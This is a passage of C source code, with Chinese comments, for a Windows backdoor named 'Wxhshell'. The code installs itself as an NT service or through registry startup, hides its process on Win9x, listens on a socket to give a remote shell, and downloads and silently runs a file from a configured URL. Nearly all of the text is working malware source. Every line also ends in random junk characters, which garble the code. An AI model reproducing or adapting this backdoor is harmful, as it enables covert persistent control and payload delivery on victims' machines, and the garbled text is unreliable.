Y`-q[F?\y
PROCNTQSIP NtQueryInformationProcess; #>lbpw
>Jn` RsuV
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lnjs{`^
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "10\y{`v^
KV&6v`K/N
HANDLE hProcess; F 8sOc&L
PROCESS_BASIC_INFORMATION pbi; $J)`Ru6.
!qlk-0&`
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M3]eqxLC
if(NULL == hInst ) return 0; bVN?7D(
_]Ob)RUVH
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iS.gN&\z^
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9yTkZ`M28
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =1|p$@L`%
55<!H-zt
if (!NtQueryInformationProcess) return 0; )*uo tV
;WYzU`<g
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #sjGju"#_
if(!hProcess) return 0; RX?!MDO
3%o}3.P,:@
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Lp|n)29+du
DQV9=
CloseHandle(hProcess); Y|hd!C-x
ks%;_~b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p^ROt'eQ<
if(hProcess==NULL) return 0; 3jJV5J'"
5{1=BZftZ
HMODULE hMod; \k=%G_W
char procName[255]; Oz]$zRu/0
unsigned long cbNeeded; +CSR!
M($GZ~ b%A
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v6uRzFw
0ZI}eZA j
CloseHandle(hProcess); y>u|3:z
7!Im|7Ty
if(strstr(procName,"services")) return 1; // 以服务启动 e F}KOOfC
;Q/1l=Bn
return 0; // 注册表启动 UM21Cfqex
} kqo4
v;r
:2vuc!Pu
// 主模块 j8^#698X
int StartWxhshell(LPSTR lpCmdLine) t*Z5{
{ FBouXu#
SOCKET wsl; z}$.A9yn
BOOL val=TRUE; Wk/Q~o
int port=0; -Ks)1w>l
struct sockaddr_in door; 7o!t/WEEq
{]m/15/$C
if(wscfg.ws_autoins) Install(); BAi0w{
mO]dP;,
port=atoi(lpCmdLine); 5K$<Ad4$b
).e}.Z6[i`
if(port<=0) port=wscfg.ws_port; <W7WlT
unz~vG1Tn
WSADATA data; r6aIW8
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2*
TIr
D88IU9V&n
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; u%"5<ll
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wr,+9uK
door.sin_family = AF_INET; y
)<+?@sP
door.sin_addr.s_addr = inet_addr("127.0.0.1"); SXJjagAoML
door.sin_port = htons(port); 7,alZ"%W
4,Uqcw?!F'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 9}fez)m:g0
closesocket(wsl); e6{E(=R[M
return 1; H`q[!5~8
} W.D>$R2
t pxk8Ys
if(listen(wsl,2) == INVALID_SOCKET) { @ uQ *$
closesocket(wsl); p-DHTX
return 1; _E6N*ORV
} zq ?xY`E
Wxhshell(wsl); 8$X3 J[_j
WSACleanup(); % hH> %
Up_"qD6
return 0; T;PLUjp}
-'*<;]P+.
} }:J-o
"K+EZ%~<
// 以NT服务方式启动 \&Bdi6xAy
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9GTp};Kg
{ 3%Q9521
DWORD status = 0; #@1(
DWORD specificError = 0xfffffff; 4HGS
Z^_zcH'
serviceStatus.dwServiceType = SERVICE_WIN32; 'W("s
serviceStatus.dwCurrentState = SERVICE_START_PENDING; %yl17:h#
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qFq$a9w|@
serviceStatus.dwWin32ExitCode = 0; `}bvbvmA
serviceStatus.dwServiceSpecificExitCode = 0; <nN# K{AH
serviceStatus.dwCheckPoint = 0; j}(m$j'
serviceStatus.dwWaitHint = 0; "oF)u1_?
Y"m(hs$
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 91q
if (hServiceStatusHandle==0) return; !<~cjgdx
{5d 5Y%&
status = GetLastError(); =2} kiLKO
if (status!=NO_ERROR) vr2PCG[~
{ F=#V/ #ia
serviceStatus.dwCurrentState = SERVICE_STOPPED; |pq9i)e&
serviceStatus.dwCheckPoint = 0; _.BT%4
serviceStatus.dwWaitHint = 0; :IfwhI)
serviceStatus.dwWin32ExitCode = status; x5/&,&m`%
serviceStatus.dwServiceSpecificExitCode = specificError; /s=veiH
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ ^
return; [/n@BK
} $P%cdJ T0
~$"2,&
serviceStatus.dwCurrentState = SERVICE_RUNNING; P4/~_$e
serviceStatus.dwCheckPoint = 0; b&LAk-}[
serviceStatus.dwWaitHint = 0; O(D2F$VlL
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BIe:7cR%
} 39F
e#u
=1,1}OucP
// 处理NT服务事件,比如:启动、停止 ]bpgsW:Xu
VOID WINAPI NTServiceHandler(DWORD fdwControl) yq^Ma
{ n%4/@M
switch(fdwControl) (-&d0a9N
{ hv\Dz*XTs0
case SERVICE_CONTROL_STOP: Y|
ch ;
serviceStatus.dwWin32ExitCode = 0; <l5m\A
serviceStatus.dwCurrentState = SERVICE_STOPPED; Cz9MXb]B
serviceStatus.dwCheckPoint = 0; 3hUP>F8
serviceStatus.dwWaitHint = 0; VRD^> Gi
{ MHye!T6fO\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2\gIjXX"
} HSAr6h
return; &Vgpv#&Cfx
case SERVICE_CONTROL_PAUSE: g0B%3v
serviceStatus.dwCurrentState = SERVICE_PAUSED; G|8>Q3D
break; QgQ$>
case SERVICE_CONTROL_CONTINUE: Np r u
serviceStatus.dwCurrentState = SERVICE_RUNNING; >'.: Acn
break; rzLW@k
case SERVICE_CONTROL_INTERROGATE: zEukEA^9`
break; ={N1j<%fh
}; .V3e>8gw3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); W}MN-0
} ?A*!rW:l;
G'(rjH>q
// 标准应用程序主函数 ,wBfGpVb
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CXyb8z4/+
{ +"=ydF.9
A=p'`]Yld
// 获取操作系统版本 \4C[<Gbx$(
OsIsNt=GetOsVer(); u|.7w2
GetModuleFileName(NULL,ExeFile,MAX_PATH); {>~9?Xwh
`<M>"~W
// 从命令行安装 RgQs`aI
if(strpbrk(lpCmdLine,"iI")) Install(); _:p-\Oo.
J.M&Vj:
// 下载执行文件 s;*
UP
if(wscfg.ws_downexe) { -V[x
q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VfP\)Rl
WinExec(wscfg.ws_filenam,SW_HIDE); &/"a
E
} >TBXT+
zR]!g|;f
if(!OsIsNt) { $AE5n>ZD$
// 如果时win9x,隐藏进程并且设置为注册表启动 b(Tvc
HideProc(); (j??
StartWxhshell(lpCmdLine); +8itP>
} FU>KiBV#
else -)}Z
$;1a
if(StartFromService()) `.3@Ki~$#
// 以服务方式启动
/7:+.#Ag`
StartServiceCtrlDispatcher(DispatchTable); ; D/6e6
else dl6U]v=
// 普通方式启动 dt+r P%
StartWxhshell(lpCmdLine); hh*('n>[
h&}iH
return 0; ,-8-Y>[
}